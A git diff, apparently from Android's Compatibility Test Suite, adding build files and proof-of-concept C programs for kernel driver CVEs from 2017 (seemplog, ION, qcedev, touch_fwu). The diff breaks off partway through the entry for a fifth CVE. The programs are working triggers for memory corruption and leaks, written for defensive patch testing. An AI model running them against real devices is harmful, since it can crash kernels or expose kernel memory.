index 0000000..46c773d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0462
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
new file mode 100644
index 0000000..5cf6a49
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define DEVICE "/dev/seemplog"
+#define SZ_1M   0x100000
+#define FOUR_MB (4 * SZ_1M)
+
+#define BLK_SIZE       256
+#define BLK_HDR_SIZE   64
+#define TS_SIZE        20
+#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
+
+#define TASK_COMM_LEN 16
+
+#define MAGIC 'z'
+
+#define SEEMP_CMD_RESERVE_RDBLKS     _IOR(MAGIC, 1, int)
+#define SEEMP_CMD_RELEASE_RDBLKS     _IO(MAGIC, 2)
+#define SEEMP_CMD_GET_RINGSZ     _IOR(MAGIC, 3, int)
+#define SEEMP_CMD_GET_BLKSZ     _IOR(MAGIC, 4, int)
+#define SEEMP_CMD_SET_MASK          _IO(MAGIC, 5)
+#define SEEMP_CMD_SET_MAPPING       _IO(MAGIC, 6)
+#define SEEMP_CMD_CHECK_FILTER      _IOR(MAGIC, 7, int)
+#define SEEMP_CMD_DEBUG_START           _IOR(MAGIC, 8, int)
+#define SEEMP_CMD_DEBUG_STOP           _IOR(MAGIC, 9, int)
+
+struct read_range {
+    int start_idx;
+    int num;
+};
+
+struct blk_payload {
+    uint32_t api_id;
+    char  msg[BLK_MAX_MSG_SZ];
+} __attribute__((packed));
+
+struct seemp_logk_blk {
+    uint8_t  status;
+    uint16_t len;
+    uint8_t  version;
+    int32_t pid;
+    int32_t uid;
+    int32_t tid;
+    int32_t sec;
+    int32_t nsec;
+    char ts[TS_SIZE];
+    char appname[TASK_COMM_LEN];
+    struct blk_payload payload;
+} __attribute__((packed));
+
+void dump_blk_headers(char *ptr) {
+    int i;
+    struct seemp_logk_blk *temp;
+
+    for (i = 0; i < (FOUR_MB / 256); i++) {
+	temp = (struct seemp_logk_blk *)ptr;
+
+	ptr += 256;
+    }
+}
+
+void print_maps(int time) {
+    char cmd[] = "/proc/%d/maps";
+    char cmd2[sizeof("/proc/-2147483648/maps")];
+    FILE *fp;
+    size_t nread;
+    char buf[1024];
+
+    snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
+
+    fp = fopen(cmd2, "r");
+    if (fp == NULL) {
+	exit(-1);
+    }
+
+    while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
+	fwrite(buf, 1, nread, stdout);
+
+    fclose(fp);
+    sleep(time);
+}
+
+void reserve_rdblks(int fd) {
+    struct read_range rrange;
+    ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
+}
+
+unsigned int get_ringsz(int fd) {
+    unsigned int ringsz;
+    ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
+    return ringsz;
+}
+
+unsigned int get_blksz(int fd) {
+    unsigned int blksz;
+    ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
+    return blksz;
+}
+
+void write_to_file(char *ptr) {
+    FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
+    int i;
+
+    if (dumpfp == NULL) {
+	exit(-1);
+    }
+
+    fwrite(ptr, 1, FOUR_MB, dumpfp);
+    fclose(dumpfp);
+}
+
+void write_to_dev(int fd) {
+    char ts[] = "IIIIIIIIIIIIIIIIIIII";
+    char appname[] = "JJJJJJJJJJJJJJJJ";
+    char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
+
+    struct seemp_logk_blk block;
+
+    block.status = 0xff;
+    block.len = 0x4242;
+    block.version = 'C';
+    block.pid = 0x44444444;
+    block.uid = 0x45454545;
+    block.tid = 0x46464646;
+    block.sec = 0x47474747;
+    block.nsec = 0x48484848;
+    strcpy(block.ts, ts);
+    strcpy(block.appname, appname);
+    block.payload.api_id = 0x51515151;
+    strcpy(block.payload.msg, msg);
+}
+
+void do_mapping(void **ptr, int fd) {
+    *ptr = mmap(NULL,
+		FOUR_MB,
+		0x7,
+		MAP_SHARED,
+		fd,
+		0);
+    if (*ptr == MAP_FAILED) {
+	close(fd);
+	exit(-1);
+    }
+}
+
+void spam_mapped_region(char *ptr, int offset, int size) {
+    int i;
+    for (i = offset; i < size; i++)
+	*(ptr + i) = 'A';
+}
+
+void start_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
+}
+
+void stop_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
+}
+
+int main() {
+    int fd;
+    void *ptr;
+    int i;
+
+    fd = open(DEVICE, O_RDWR);
+    if (fd == -1) {
+	exit(-1);
+    }
+
+    start_printk(fd);
+
+    do_mapping(&ptr, fd);
+
+    for (i = 0; i < (FOUR_MB / 256); i++)
+	write_to_dev(fd);
+
+    dump_blk_headers(ptr);
+    print_maps(5);
+
+    write_to_file(ptr);
+
+    stop_printk(fd);
+
+    close(fd);
+    munmap(ptr, FOUR_MB);
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+    INVALID_HEAP_ID = -1,
+    ION_CP_MM_HEAP_ID = 8,
+    ION_SECURE_HEAP_ID = 9,
+    ION_SECURE_DISPLAY_HEAP_ID = 10,
+    ION_CP_MFC_HEAP_ID = 12,
+    ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+    ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+    ION_SYSTEM_CONTIG_HEAP_ID = 21,
+    ION_ADSP_HEAP_ID = 22,
+    ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+    ION_SF_HEAP_ID = 24,
+    ION_SYSTEM_HEAP_ID = 25,
+    ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+    ION_QSECOM_HEAP_ID = 27,
+    ION_AUDIO_HEAP_ID = 28,
+    ION_MM_FIRMWARE_HEAP_ID = 29,
+    ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+    ION_HEAP(ION_CP_MM_HEAP_ID),
+    ION_HEAP(ION_CP_MFC_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+    ION_HEAP(ION_ADSP_HEAP_ID ),
+    ION_HEAP(ION_SF_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_HEAP_ID),
+    ION_HEAP(ION_QSECOM_HEAP_ID),
+    ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+    int ret;
+    struct ion_allocation_data req = {
+        .len = len,
+#ifdef NEW_ION
+        .heap_id_mask = ion_type,
+        //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+        .flags = (1 << 0),
+        .flags = 0x0,
+#else
+        .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+        .align = len,
+    };
+
+    ret = ioctl(fd, ION_IOC_ALLOC, &req);
+    if (ret) {
+        return ret;
+    }
+
+    *hdl = req.handle;
+
+    return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+    int ret;
+    struct ion_handle_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_FREE, &req);
+    if (ret) {
+        return ret;
+    }
+
+    return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+    int ret;
+    struct ion_fd_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_MAP, &req);
+    if (ret) {
+        return ret;
+   }
+
+   return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+    status[0] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[0] = 2;
+    return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+    status[1] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if(cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[1] = 2;
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid_free[2];
+
+    count = 0;
+retry:
+    status[0] = 0;
+    status[1] = 0;
+    cmd = 0;
+    ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+    if (ion_fd < 0) {
+	return -1;
+    }
+
+    for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+        ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+        if (ret == 0) {
+            break;
+        }
+    }
+
+    if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+    if (ret != 0) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+    if (ret != 0) {
+        cmd = -1;
+        goto failed;
+    }
+
+    while (status[0] != 1 || status[1] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    ret = ion_map(ion_fd, ion_handle);
+
+    while (status[0] != 2 || status[1] != 2) {
+        usleep(50);
+    }
+
+failed:
+    ion_free(ion_fd,ion_handle);
+    close(ion_fd);
+    goto retry;
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
new file mode 100644
index 0000000..c62755c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0576
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
new file mode 100644
index 0000000..f08a068
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <inttypes.h>
+#include <errno.h>
+
+#define QCEDEV_MAX_KEY_SIZE     64
+#define QCEDEV_MAX_IV_SIZE      32
+#define QCEDEV_MAX_BUFFERS      16
+
+struct  buf_info {
+    union {
+	uint32_t        offset;
+	uint8_t         *vaddr;
+    };
+    uint32_t        len;
+};
+
+struct  qcedev_vbuf_info {
+    struct buf_info src[QCEDEV_MAX_BUFFERS];
+    struct buf_info dst[QCEDEV_MAX_BUFFERS];
+};
+
+struct  qcedev_pmem_info {
+    int             fd_src;
+    struct buf_info src[QCEDEV_MAX_BUFFERS];
+    int             fd_dst;
+    struct buf_info dst[QCEDEV_MAX_BUFFERS];
+};
+
+enum qcedev_oper_enum {
+    QCEDEV_OPER_DEC         = 0,
+    QCEDEV_OPER_ENC         = 1,
+    QCEDEV_OPER_DEC_NO_KEY  = 2,
+    QCEDEV_OPER_ENC_NO_KEY  = 3,
+    QCEDEV_OPER_LAST
+};
+
+enum qcedev_cipher_alg_enum {
+    QCEDEV_ALG_DES          = 0,
+    QCEDEV_ALG_3DES         = 1,
+    QCEDEV_ALG_AES          = 2,
+    QCEDEV_ALG_LAST
+};
+
+enum qcedev_cipher_mode_enum {
+    QCEDEV_AES_MODE_CBC     = 0,
+    QCEDEV_AES_MODE_ECB     = 1,
+    QCEDEV_AES_MODE_CTR     = 2,
+    QCEDEV_AES_MODE_XTS     = 3,
+    QCEDEV_AES_MODE_CCM     = 4,
+    QCEDEV_DES_MODE_CBC     = 5,
+    QCEDEV_DES_MODE_ECB     = 6,
+    QCEDEV_AES_DES_MODE_LAST
+};
+
+struct  qcedev_cipher_op_req {
+    uint8_t                         use_pmem;
+    union {
+	struct qcedev_pmem_info pmem;
+	struct qcedev_vbuf_info vbuf;
+    };
+    uint32_t                        entries;
+    uint32_t                        data_len;
+    uint8_t                         in_place_op;
+    uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
+    uint32_t                        encklen;
+    uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
+    uint32_t                        ivlen;
+    uint32_t                        byteoffset;
+    enum qcedev_cipher_alg_enum     alg;
+    enum qcedev_cipher_mode_enum    mode;
+    enum qcedev_oper_enum           op;
+};
+
+#define QCEDEV_IOC_MAGIC        0x87
+
+#define QCEDEV_IOCTL_ENC_REQ					\
+    _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
+#define QCEDEV_IOCTL_DEC_REQ					\
+    _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
+
+void thread_func(int fd)
+{
+    struct qcedev_cipher_op_req req;
+    unsigned int i;
+    char *data;
+
+    memset(&req, 0, sizeof(struct qcedev_cipher_op_req));
+
+    data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
+    if (data == MAP_FAILED) {
+	exit(0);
+    }
+    for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
+	*((unsigned long long*)(data + i)) = 0xABADACC355001337;
+
+    req.in_place_op = 1;
+    req.entries = 2;
+    req.byteoffset = 15;
+    req.mode = QCEDEV_AES_MODE_CTR;
+
+    req.op = QCEDEV_OPER_ENC;
+    req.ivlen = 1;
+    req.data_len = 0xFFFFFFFE;
+    req.vbuf.src[0].len = 4;
+    req.vbuf.src[1].len = 0xFFFFFFFE - 4;
+    req.vbuf.src[0].vaddr = (uint8_t*)data;
+    req.vbuf.src[1].vaddr = (uint8_t*)data;
+    req.vbuf.dst[0].len = 4;
+    req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
+    req.vbuf.dst[0].vaddr = (uint8_t*)data;
+    req.vbuf.dst[1].vaddr = (uint8_t*)data;
+
+    ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
+
+    exit(0);
+}
+
+int main(void)
+{
+    int fd;
+    const char *dev = "/dev/qce";
+
+    fd = open(dev, O_RDWR);
+    if (fd < 0) {
+	return EXIT_FAILURE;
+
+    }
+    thread_func(fd);
+
+    return EXIT_FAILURE;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name, O_RDWR);
+
+    if (fd < 0)	{
+	return -1;
+    }
+
+    size_t buf_len = 0xfffff;
+    char* buf = (char*) malloc(buf_len);
+    if (buf == NULL ) {
+	return -1;
+    }
+
+    int ret = 0;
+    ret = write(fd, buf, buf_len);
+    free(buf);
+    return ret;
+}
+
+int main()
+{
+    test_touch_fwu();
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
new file mode 100644
index 0000000..494b8c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0579
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
